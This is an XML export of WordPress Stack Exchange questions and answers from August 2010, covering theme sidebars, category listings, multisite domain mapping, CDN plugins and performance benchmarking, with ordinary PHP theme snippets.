  <row Id="837" PostTypeId="2" ParentId="829" CreationDate="2010-08-24T16:10:01.123" Score="0" ViewCount="" Body="&lt;p&gt;Marek, your question is highly subjective and therefore can not be properly answered. You must provide properly defined context, definition of terms and values and so on that this comes close. Something most certainly not possible here. Unless you don't do the answer is very easy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your site feels slow directly after a blank setup and takes about 30 seconds to respond I can without doubt say that it's time you need to start thinking about scaling up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A rule of thumb could be that your life site should respond below x amount of time (e.g. the 10th of a second) for any request while under load. If not, start to think about scaling up. Set the time for your needs, then monitor your site and if it runs over the line, start to think about scaling up. With sites it always depends so you need to measure it.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T16:10:01.123" CommentCount="2" />
  <row Id="838" PostTypeId="2" ParentId="791" CreationDate="2010-08-24T16:18:43.730" Score="2" ViewCount="" Body="&lt;p&gt;You should definitely use a widget to achieve this functionality, rather than hardcoding a call to a particular post in your theme.  There are plugins that extend the widget functionality and make it easy to control which pages the widgets appear on.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-24T16:18:43.730" CommentCount="2" />
  <row Id="839" PostTypeId="2" ParentId="829" CreationDate="2010-08-24T16:23:14.243" Score="3" ViewCount="" Body="&lt;p&gt;A lot of this is very subjective and hard to answer because of different server environments, themes, size of database etc. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;In your experience, when is the time one needs to start thinking about scaling up?&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you are concerned with your users experience you should already be practicing &lt;a href=&quot;http://stevesouders.com/hpws/&quot; rel=&quot;nofollow&quot;&gt;sound front end performance techniques&lt;/a&gt;.  When is it time to scale up? When your users experience starts degrading and slow page loads are causing your bounce rate to increase.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;What is the expected performance of a common WordPress installation on a standard Apache web server, without any performance tweaks or plugins?&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A common WordPress installation running the default theme for a small to medium blog on one of the recommended shared hosts should be able to handle hundreds of users a day without issue.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;In terms of page loads (let's assume no caching): Is it in range of 100's/1000's/+ of page loads per second?&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For this question I ran a Apache Benchmark on a WordPress installation running the default 2010 theme with no caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VMKhk.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made 500 requests at 10 requests per second and was able to average 3.6 requests per second but as the requests started piling up the longest request took almost 2 minutes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;In terms of traffic: At which number of users per day can one expect to start hitting performance bottlenecks (ignoring traffic, assuming great connection)?&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is impossible to answer this question without running load tests or benchmarks on the server.  For the benchmark above you would start having bottlenecks anytime there were more than 10 users using the site at once.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-24T16:23:14.243" CommentCount="3" />
  <row Id="840" PostTypeId="1" CreationDate="2010-08-24T16:32:07.893" Score="1" ViewCount="178" Body="&lt;p&gt;I just migrated to worpress and want to remove all of the 'uncategorized' categories, since all of my posts are now all categorized. Is there a way to do this easily?&lt;/p&gt;&#xA;" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-18T13:55:16.813" LastActivityDate="2011-02-21T12:58:05.173" Title="Is there a way to remove categories in bulk?" Tags="&lt;categories&gt;" AnswerCount="3" />
  <row Id="841" PostTypeId="1" AcceptedAnswerId="843" CreationDate="2010-08-24T16:44:07.430" Score="2" ViewCount="697" Body="&lt;p&gt;If I have a couple of different Page templates, how would I show a different collection of sidebar widgets for each of these templates? I'm using the Starkers theme as a starting point.&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2011-05-26T22:21:30.950" Title="Different widgets on different page templates?" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;template&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="3" />
  <row Id="843" PostTypeId="2" ParentId="841" CreationDate="2010-08-24T17:18:04.193" Score="4" ViewCount="" Body="&lt;p&gt;You will need to create more sidebars in your functions.php file and then edit the page templates to call the sidebar you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Adding sidebars&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go in to your functions.php file. You should see some sidebars already being registered. The code will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Adds default sidebar&#xA; if ( function_exists('register_sidebar') )&#xA; register_sidebar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add another sidebar, add the following code any number of times after the existing sidebar registration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Registers new sidebar&#xA;if ( function_exists('register_sidebar') ) {&#xA;    register_sidebar(array('name' =&amp;gt; 'Name Sidebar Here','before_widget' =&amp;gt; '','after_widget' =&amp;gt; '','before_title' =&amp;gt; '&amp;lt;h2 class=&quot;widgettitle&quot;&amp;gt;','after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;'));    &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where it says 'Name Sidebar Here' put a logical name for this new sidebar. The rest of the array allows you to put HTML before the widget (before_widget) if your theme requires that for its design and put HTML after the widget (after_widget). Also, more commonly used in themes is a custom style for widget titles. You can put that HTML before the title (before_title) and after the title (after_title). In the example above, each widget title will have &lt;code&gt;&amp;lt;h2 class=&quot;widgettitle&quot;&amp;gt;&lt;/code&gt; placed before it and  after it to close the opening tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add your new sidebar to your page templates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you've added a sidebar, you'll need to put it in the page template where you want it. Find where the default sidebar is being called inside of your template ( usually  ) and replace it with the following, where the number is the order of where the sidebar was added in functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?phpif ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(Sidebar number here) ) : ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This sidebar was the second one added in the functions.php file, so to call it in the page template, you'll put 2 inside of &lt;code&gt;!dynamic_sidebar(Put sidebar number here) )&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add widgets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've added it to the page template, just add widgets to the sidebar in your Appearance--&gt;Widgets administration page. The new sidebar will appear there with the name you gave it in the functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="399" LastEditorUserId="399" LastEditorDisplayName="" LastEditDate="2010-08-24T17:26:07.663" LastActivityDate="2010-08-24T17:26:07.663" />
  <row Id="844" PostTypeId="1" AcceptedAnswerId="904" CreationDate="2010-08-24T17:20:21.787" Score="2" ViewCount="155" Body="&lt;p&gt;Is there a way to draw the categories listing and highlight the current category being viewed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, it would be great to highlight the current category if a post or page that's assigned to it is being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current code (I'm excluding the default &quot;uncategorized&quot; category)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  echo &quot;&amp;lt;div class='menu top'&amp;gt;&amp;lt;ul&amp;gt;&quot;;&#xA;    $cat_args = array('orderby' =&amp;gt; 'name', 'show_count' =&amp;gt; $c, 'hierarchical' =&amp;gt; $h);&#xA;    $cat_args['title_li'] = '';&#xA;    $cat_args['exclude_tree'] = 1;&#xA;    wp_list_categories(apply_filters('widget_categories_args', $cat_args));&#xA;  echo &quot;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-08-25T19:20:02.937" Title="Categories Listing with &quot;selected&quot; category highlighted" Tags="&lt;categories&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="845" PostTypeId="1" AcceptedAnswerId="848" CreationDate="2010-08-24T17:24:28.473" Score="1" ViewCount="396" Body="&lt;p&gt;I've got a spreadsheet where each row of the first column is a question, and the next 4 columns are the optional 4 answers to that question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to turn these questions into an online form (like as the one offered by google docs)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a form plugin (or another solution) that can offer something like this?&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-01-23T04:14:17.833" Title="Creating an online questionnaire form - by Importing the questions from a spreadsheet?" Tags="&lt;plugins&gt;&lt;import&gt;&lt;google-docs&gt;&lt;forms&gt;" AnswerCount="3" />
  <row Id="846" PostTypeId="2" ParentId="840" CreationDate="2010-08-24T17:30:51.710" Score="0" ViewCount="" Body="&lt;p&gt;As far as I know this is not possible via the GUI. That could be done by a little script that queries all posts that have more than one category and the &quot;uncategorized&quot; category and then removing the &quot;uncategorized&quot; category. I'm working on it.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T17:30:51.710" CommentCount="3" />
  <row Id="847" PostTypeId="2" ParentId="844" CreationDate="2010-08-24T17:42:59.963" Score="0" ViewCount="" Body="&lt;p&gt;My first inclination is that you'd need to somehow apply a different class to the &quot;current&quot; category and then use CSS to highlight it.  Hopefully that's a start.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-24T17:42:59.963" />
  <row Id="848" PostTypeId="2" ParentId="845" CreationDate="2010-08-24T17:47:00.787" Score="1" ViewCount="" Body="&lt;p&gt;Your best option for a form plugin is &lt;a href=&quot;http://www.gravityforms.com/category/features/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt;. It has the ability to create multiple choice options via a drop down or check box and you can use conditional logic that will display fields based on choices in previous fields.  I highly recommend it.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-24T17:47:00.787" CommentCount="3" />
  <row Id="849" PostTypeId="2" ParentId="704" CreationDate="2010-08-24T17:59:47.857" Score="4" ViewCount="" Body="&lt;p&gt;WordPress moved to Subversion &lt;a href=&quot;http://core.trac.wordpress.org/changeset/1/trunk&quot; rel=&quot;nofollow&quot;&gt;in 2003&lt;/a&gt;.  Git (as a project) was started &lt;a href=&quot;http://en.wikipedia.org/wiki/Git_%28software%29#Early_history&quot; rel=&quot;nofollow&quot;&gt;in 2005&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Absent Doc Brown's flux capacitor coming to fruition, I think the reasons for SVN over Git are rather obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Hint: they rhyme with &quot;fistory&quot;, &quot;finertia&quot; and &quot;forganizational fomentum&quot;)&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-24T17:59:47.857" CommentCount="1" />
  <row Id="850" PostTypeId="2" ParentId="845" CreationDate="2010-08-24T18:05:43.760" Score="0" ViewCount="" Body="&lt;p&gt;Integrate the google docs form with an iframe. Is that an option?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T18:05:43.760" CommentCount="3" />
  <row Id="851" PostTypeId="2" ParentId="835" CreationDate="2010-08-24T18:28:34.837" Score="2" ViewCount="" Body="&lt;h2&gt;Rackspace Cloud Files&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can sign up for Rackspace Cloud files, and pay only what you use, this can be a good way to start out, as you don't need to pay upfront for a large amount of bandwidth, that you may or may not use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two plugins that work well with Wordpress and Cloud Files, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cloud Tools plugin&lt;/strong&gt;. This is a plugin&#xA;by Paul Kehrer, it'll upload images&#xA;to Rackspace in line with a new&#xA;post, and upload images already on&#xA;the system to cloud files, and&#xA;rewrite all your image tags.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;W3 Total Cache&lt;/strong&gt;: This has more&#xA;    options in terms of different&#xA;    CDNs..one of them being Rackspace&#xA;    Cloud Files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt; of Rackspace Cloud Files&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pay as you go, no upfront costs.&lt;/li&gt;&#xA;&lt;li&gt;Depending on the data center you're in, free uploading to cloud files.&lt;/li&gt;&#xA;&lt;li&gt;If you use cloud servers or cloud sites, it's just one bill&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No pull zones&lt;/li&gt;&#xA;&lt;li&gt;No option for video streaming yet.&lt;/li&gt;&#xA;&lt;li&gt;No CNAME support (you can't do cdn.yourdomain.com )&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To get an estimate of costs, you can go to: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.rackspacecloud.com/cloud_hosting_products/files/pricing&quot; rel=&quot;nofollow&quot;&gt;http://www.rackspacecloud.com/cloud_hosting_products/files/pricing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've used them on some sites, they're reliable, very fast, and reasonably priced. For some clients that have no idea what level of traffic they'll get, we start them off here. &lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-24T21:06:16.080" LastActivityDate="2010-08-24T21:06:16.080" CommentCount="2" />
  <row Id="852" PostTypeId="1" AcceptedAnswerId="855" CreationDate="2010-08-24T19:03:28.087" Score="0" ViewCount="88" Body="&lt;p&gt;Let's say I have a website about different types of cars. The structure is a little like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-Home&#xA;-Cars (shows a submenu with a list of cars, ie Volvo 850, Porsche 911 )&#xA; -Volvo 850 overview (the page you get when you click Volvo 850 on the Car page)&#xA; -Volvo 850 tech spec (the three Volvo pages are shown as submenu links on any Volvo page)&#xA; -Volvo 850 pictures&#xA; -Porsche 911 overview&#xA; -Porsche 911 tech spec&#xA; -Porsche 911 pictures&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the best way of doing this? I guess what I'm asking is how to &lt;strong&gt;automatically&lt;/strong&gt; make the Cars page list the different Cars, and link to the overview page and not the others. And then on the individual car pages, have more sub-menus for overview, tech spec, and pictures page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could have a structure like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-Cars (shows a submenu with a list of cars, ie Volvo 850, Porsche 911 )&#xA; -Volvo 850&#xA;  -Volvo 850 overview (the page you get when you click Volvo 850 on the Car page)&#xA;  -Volvo 850 tech spec (the three Volvo pages are shown as submenu links on any Volvo page)&#xA;  -Volvo 850 pictures&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. but I don't want that intermediate Volvo 850 page to show, because there would be nothing on it.&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2010-08-25T00:54:04.917" Title="Automatically going to the first page in a hierarchy?" Tags="&lt;custom-menus&gt;&lt;template&gt;" AnswerCount="2" />
  <row Id="854" PostTypeId="1" AcceptedAnswerId="856" CreationDate="2010-08-24T19:30:28.583" Score="1" ViewCount="239" Body="&lt;p&gt;You may have learned already to reconfigure your WP3 so that it loads in MU mode, and set it for subdomains. Evidently my Dallas client claims that instead of just subdomains, there are some tricks you can do (cpanel? wp-admin? plugin? config file change?) to make a full domain like example.com for a subdomain, instead of having a subdomain like blog1.example.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true? How is it achieved? Does it have any caveats that you can think of?&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-10-30T17:27:40.623" LastActivityDate="2010-10-30T17:27:40.623" Title="Full Domain Mapping with WP3 in Multiuser Mode" Tags="&lt;multisite&gt;" AnswerCount="2" FavoriteCount="4" />
  <row Id="855" PostTypeId="2" ParentId="852" CreationDate="2010-08-24T19:34:26.733" Score="1" ViewCount="" Body="&lt;p&gt;Referencing the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;wp_list_pages function reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably need to use the second structure you listed, with one change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-Cars (shows a submenu with a list of cars, ie Volvo 850, Porsche 911 )&#xA; -Volvo 850 overview (the page you get when you click Volvo 850 on the Car page)&#xA;  -Volvo 850 tech spec (the three Volvo pages are shown as submenu links on any Volvo page)&#xA;  -Volvo 850 pictures&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the following may work, although it might show all descendants (rather than immediate children only):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if($post-&amp;gt;post_parent)&#xA;  $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;);&#xA;  else&#xA;  $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA;  if ($children) { ?&amp;gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;  &amp;lt;?php echo $children; ?&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your statement&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And then on the individual car pages,&#xA;  have more sub-menus for overview, tech&#xA;  spec, and pictures page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Seems contradictory to not wanting an 'intermediate' page, since you said you want the &quot;overview&quot; page to be what you land on when clicking on a car model on the cars page. If you just want all pages related to the Volvo 850 to have a listing of Volvo 850 pages (for instance, in the sidebar), you could possibly use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages#List_parent_Page_and_all_descendant_Pages&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// use wp_list_pages to display parent and all child pages all generations (a tree with parent)&#xA;$parent = 93;&#xA;$args=array(&#xA;  'child_of' =&amp;gt; $parent&#xA;);&#xA;$pages = get_pages($args);  &#xA;if ($pages) {&#xA;  $pageids = array();&#xA;  foreach ($pages as $page) {&#xA;    $pageids[]= $page-&amp;gt;ID;&#xA;  }&#xA;&#xA;  $args=array(&#xA;    'title_li' =&amp;gt; 'Tree of Parent Page ' . $parent,&#xA;    'include' =&amp;gt;  $parent . ',' . implode(&quot;,&quot;, $pageids)&#xA;  );&#xA;  wp_list_pages($args);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-24T19:34:26.733" />
  <row Id="856" PostTypeId="2" ParentId="854" CreationDate="2010-08-24T19:36:22.387" Score="4" ViewCount="" Body="&lt;p&gt;You can map regular domains to a WordPress Multisite installation using the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a great tutorial available: &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0: Multisite Domain Mapping Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference ... &lt;a href=&quot;http://wordpress.stackexchange.com/questions/738/how-do-i-transition-multiple-installations-to-a-single-multisite-installation&quot;&gt;I asked a similar question yesterday&lt;/a&gt;.  I have a client who hosts multiple blogs with unique domains, but it becomes a hassle to maintain each one separately.  I'm working with them to transition to a Multisite setup instead - single superuser admin, single set of plug-ins, single set of themes, single set of core files ... much easier to upgrade and maintain.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-24T19:36:22.387" />
  <row Id="857" PostTypeId="2" ParentId="854" CreationDate="2010-08-24T19:49:06.970" Score="3" ViewCount="" Body="&lt;p&gt;For reference, here is another tutorial on how to setup WordPress Multisite with multiple domains: &lt;a href=&quot;http://www.interconnectit.com/840/wordpress-3-0-multisite-with-multiple-domains-setup/&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0 Multisite With Multiple Domains Setup&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-24T19:49:06.970" />
  <row Id="858" PostTypeId="1" AcceptedAnswerId="873" CreationDate="2010-08-24T20:37:46.233" Score="7" ViewCount="1205" Body="&lt;p&gt;(note: this question was originally about Custom Fields, but @MikeSchinkel had a better solution involving Custom Post Types)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my site I have several pages which I want to show the same data in the sidebar.&#xA;For instance, in a structure like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-Home&#xA;-Cars &#xA; -Volvo 850 overview &#xA; -Volvo 850 tech spec &#xA; -Volvo 850 pictures&#xA; -Porsche 911 overview&#xA; -Porsche 911 tech spec&#xA; -Porsche 911 pictures&#xA;-Roads &#xA; -Route 66 overview &#xA; -Route 66 history &#xA; -Route 66 pictures&#xA; -Pan-American Highway overview&#xA; -Pan-American Highway history&#xA; -Pan-American Highway pictures&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like all the Volvo 850 pages to show the same data in the sidebar, all the Porsche pages to show a different set of data (for instance Speed, Maker, etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Road pages would have their own set of data for each road. Cars and Roads would also have there own page template, and the way I figure it would get the right sidebar is something like this within sidebar.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_page_template('car-profile-template.php') ) :&#xA;// show car widgets&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's an example page, the Volvo 850 Pictures page. The same (left) sidebar should appear on the other Volvo 850 pages, while the stuff on the right is just page content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|  Home   •Cars   Roads                                |&#xA;--------------------------------------------------------&#xA;|   Overview     |     Volvo 840 Pictures              |&#xA;|   Tech Spec    |    (some pics)                      |&#xA;|  •Pictures     |                                     |&#xA;------------------                                     |&#xA;| -Specs-        |                                     |&#xA;| Volvo 850      |                                     |&#xA;| Speed:150mph   |                                     |&#xA;| Maker:Volvo    |                                     |  &#xA;| Download PDF   |                                     |&#xA;------------------                                     |&#xA;| -Rating-       |                                     |&#xA;| Style:3        |                                     |&#xA;| Safety:5       |                                     |&#xA;| Reliablity:4   |                                     |&#xA;------------------                                     |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, the two sidebar widgets, Specs and Rating should be getting their info from a Custom Post Type. Is there a method, which would be easy for the end-user to edit, which means that they would have to enter this custom data only once? It may not be necessary for each of the fields to be separate (ie all of Spec could be entered within an Editor field, and all of Rating could be put in Excerpt field.. maybe)&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="394" LastEditorDisplayName="" LastEditDate="2010-08-26T10:35:07.087" LastActivityDate="2010-12-29T15:08:27.707" Title="Custom Post Type Data in Sidebar widgets?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" />
  <row Id="859" PostTypeId="1" AcceptedAnswerId="877" CreationDate="2010-08-24T21:24:14.147" Score="2" ViewCount="1036" Body="&lt;p&gt;As part of a theme for a client, I want to be able to show a custom menu (defined via the admin) in a select box that automatically changes pages after changing the selection.  Is there a plugin (or a handy code snippet) that will accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T05:44:33.300" LastActivityDate="2011-04-25T19:11:51.713" Title="Show a WP 3.0 Custom Menu in an HTML Select with Auto-Navigation?" Tags="&lt;3.0&gt;&lt;themes&gt;&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="2" FavoriteCount="4" />
  <row Id="860" PostTypeId="1" AcceptedAnswerId="861" CreationDate="2010-08-24T21:29:12.690" Score="1" ViewCount="90" Body="&lt;p&gt;I just finished &lt;a href=&quot;http://www.wpdesigner.com/2007/02/19/so-you-want-to-create-wordpress-themes-huh/&quot; rel=&quot;nofollow&quot;&gt;a tutorial&lt;/a&gt; that told me to create my &lt;code&gt;header.php&lt;/code&gt; without closing a tag at the bottom of the included file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now while I realize that in anyone of the parent files which includes &lt;code&gt;header.php&lt;/code&gt; it includes the closing tag; this really goes against my better judgement as a front-end developer; because someone who edits the theme later (and it could be me, it could be somebody else) would have to know that this tag needed to be closed in the parent file which includes it.  It just feels wrong.  It feels like when your editor marks the tag as &quot;an extra closing tag&quot; you want to delete it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not breaking a standard if I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php include(TEMPLATEPATH . '/justTheHTMLHeader.php'); ?&amp;gt;&#xA;&amp;lt;!-- AND --&amp;gt;&#xA;&amp;lt;?php include(TEMPLATEPATH . '/justTheBlogHeader.php');` ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;code&gt;get_header()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that this approach would be more modular and not leave any extraneous tags not closed between included files and their parents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also noticed that the default Wordpress template is setup this way, so I'm obviously wrong and breaking some sort of Wordpress theme standard not matter what I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the reasoning behind this?&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-26T16:28:24.130" LastActivityDate="2010-08-26T16:28:24.130" Title="Wordpress Theme Development Seemingly Awful Partitioning of Includes?" Tags="&lt;themes&gt;&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="861" PostTypeId="2" ParentId="860" CreationDate="2010-08-24T21:44:40.977" Score="3" ViewCount="" Body="&lt;p&gt;Well, that tutorial is pretty old and out of date. It was written for WordPress 2.0; 10 major releases ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short answer is: it's done that way because it's the best way to do it. It's the fastest/simplest way to separate content from design and give all the control to you, the theme developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to open a tag in the header without closing it in the header, don't. I personally always do that (although I usually close it in the footer, not the index.php file). The great thing about WordPress is that it lets you do whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two good reasons to use &lt;code&gt;get_header()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It fires an action hook that plugins may be using, and&lt;/li&gt;&#xA;&lt;li&gt;It makes your theme more compliant and therefore easier to use as a template for child themes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-24T21:44:40.977" CommentCount="3" />
